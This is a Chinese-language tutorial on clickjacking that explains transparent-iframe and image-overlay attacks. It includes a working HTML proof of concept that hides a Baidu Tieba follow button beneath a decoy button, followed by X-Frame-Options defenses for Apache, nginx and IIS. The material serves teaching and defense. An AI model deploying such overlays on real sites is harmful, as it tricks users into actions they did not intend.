0x00 什么是点击劫持
点击劫持(ClickJacking)是一种视觉上的欺骗手段,主要有两种方式。
- 一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面.通过调整iframe页面的位置,可以诱使用户恰好点击在被覆盖页面的一些功能性按钮上。
- 二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。将被劫持的页面上的图片用一个一模一样的图片覆盖,但是链接地址不一样。
0x01 iframe覆盖
- 关于iframe:iframe也称作嵌入式框架,嵌入式框架和框架网页类似,它可以把一个网页的框架和内容嵌入在现有的网页中。
- 示例:假如我们在百度有个贴吧,想偷偷让别人关注它。于是我们准备一个页面,将关注按钮隐藏在查看详情按钮之下:
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block; //设置为块元素
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0;
filter:alpha(opacity=0); //透明度兼容IE
position:absolute; //绝对定位
z-index:2; 设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。
}
button{
position:absolute;
top: 360px;
left: 518px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
那些不能说的秘密
<button>查看详情</button>
<iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
</body>
</html>
页面效果如下图所示,如果你好奇点击了查看详情,那么实际上你便关注了某个贴吧:
将iframe透明度调整为0.3后,观察被覆盖页面的详细信息:
0x02 iframe覆盖解决办法
使用一个HTTP头:X-Frame-Options。X-Frame-Options可以说是为了解决ClickJacking而生的,它有三个可选的值:
DENY:浏览器会拒绝当前页面加载任何frame页面;
SAMEORIGIN:frame页面的地址只能为同源域名下的页面;
ALLOW-FROM origin:允许frame加载的页面地址;
|PS:浏览器支持情况:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。
|
设置方法:
- Apache配置:
Header always append X-Frame-Options SAMEORIGIN
- nginx配置:
add_header X-Frame-Options SAMEORIGIN;
- IIS配置:
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>
0x03图片覆盖
将被劫持的页面上的图片用一个一模一样的图片覆盖,但是其超链接链接地址改为了恶意链接:
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">
<img src="XXXXXX" style="position:absolute;top:90px;left:320px;" />
</a>
- 解决办法:
在防御图片覆盖攻击时,需要检查用户提交的HTML代码中,img标签的style属性是否可能导致浮出。
出处:https://www.cnblogs.com/lovesong/p/5248483.html